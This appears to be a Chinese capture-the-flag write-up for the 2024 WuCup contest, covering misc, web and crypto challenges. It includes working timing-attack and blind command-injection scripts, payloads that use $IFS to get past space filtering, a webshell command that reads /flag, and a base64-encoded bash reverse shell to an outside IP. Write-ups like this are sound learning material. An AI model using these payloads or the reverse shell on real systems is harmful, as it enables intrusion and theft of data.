2024WuCup-wp
wucup-DDL
misc
太极
1 | tai ji sheng liang yi |
元神
WuCup{0e49b776-b732-4242-b91c-8c513a1f12ce}
WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}
把docx文件换成zip文件
模糊的这个东西,减淡加弱化
WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}
1 | WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}第三个密码work的document |
Sign-misc
16进制解码
web
TimeCage–没做出来
第一关
Trapping2147483647.php
第二个手注,
1 | The final challenge in EscapeEsc@p3Escape.php |
每对一个就多延长时间1秒
个数脚本如下,但是只出来密码个数,下边的没优化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url = 'http://challenge.wucup.cn:34879/Trapping2147483647.php' # 目标 URL
# 获取密码长度
password_length = 0
while True:
response = requests.post(url, data={'pass': '1' * (password_length)})
if "Wrong Length!" not in response.text:
break
password_length += 1
print(f"Password length is: {password_length}")
# 破解密码
password = ""
for i in range(password_length):
for char in '0123456789':
test_password = password + char
start_time = time.time()
response = requests.post(url, data={'pass': test_password})
end_time = time.time()
# 判断响应时间是否增加
if end_time - start_time > 1.2:
password += char
print(f"Current password: {password}")
break
print(f"Cracked password: {password}")
第三个反弹shell没弹出来
1 | 下边复现了 |
复现-
1.
1
cmd=cp$IFS$1/flag$IFS$1index.php
复现Aura师傅的wp
2.
1
2
3
4
5
6
7head -c n /flag 从 /flag 文件中提取前 n 个字节。
然后 tail -c 1 会从这 n 个字节中提取最后一个字节。
上述过程⽤ shell 命令表示就是[$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2
[...] 是条件判断结构,用于比较其内部表达式的结果。这个结构会根据条件的真假返回 true 或 false。
&& 是 逻辑与操作符,表示如果前面的命令(即条件判断)成功(返回值为真),则执行 && 后面的命令。
脚本如下↓
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import requests
import base64
import string
import time
flag=""
part1="echo$IFS$9"
part3="$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh"
url="http://challenge.wucup.cn:24987/EscapeEsc@p3Escape.php"
for i in range(1,50): #["(head -c n /flag | tail -c 1)" = "j" ] && sleep 2
for j in string.printable:
print(flag)
part2 = "[ \"$(head -c " + str(i) + " /flag | tail -c 1)\" = \"" + j + "\" ] && sleep 2"
payload=part1 + base64.b64encode(part2.encode()).decode() + part3
print(payload)
time1=time.time()
data={
"cmd": payload
}
requests.post(url,data=data)
time2=time.time()
if(time2-time1>1.2):
flag+=j
break
法三是反弹shell
3.
1
cmd=echo$IFS$9'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTYuMjI2LjcxLzQ0MyAwPiYx'|base64$IFS$9-d|bash
ezPHP
版本源码泄露
1 | https://blog.csdn.net/weixin_46203060/article/details/129350280 |
这个键值得是数字;system eval没好使,直接file_get_contents,可以先看phpinfo看禁用函数,然后再操作
1 | <?php |
Sign-web
1 | shell,源码就是一句话木马 post个sgin=system('cat /flag');就出来了 |
HelloHacker-没做出来
题目要求是从prohibited.txt中读取
审计源码
1 | 一。 |
1 | 二。 |
复现-
先下载文件,访问txt不下载,就右键另存为,能看到过滤的东西,他不可能全过滤吧,用脚本跑一下看看
脚本附下↓
1 | import itertools |
能看到底下这是放水了。eval和分号都可以用
薄雾初零的至尊CS+cms
这个java的不会,等过两个月学了java再做吧
密码
Easy
1 | # RC4 解密过程 |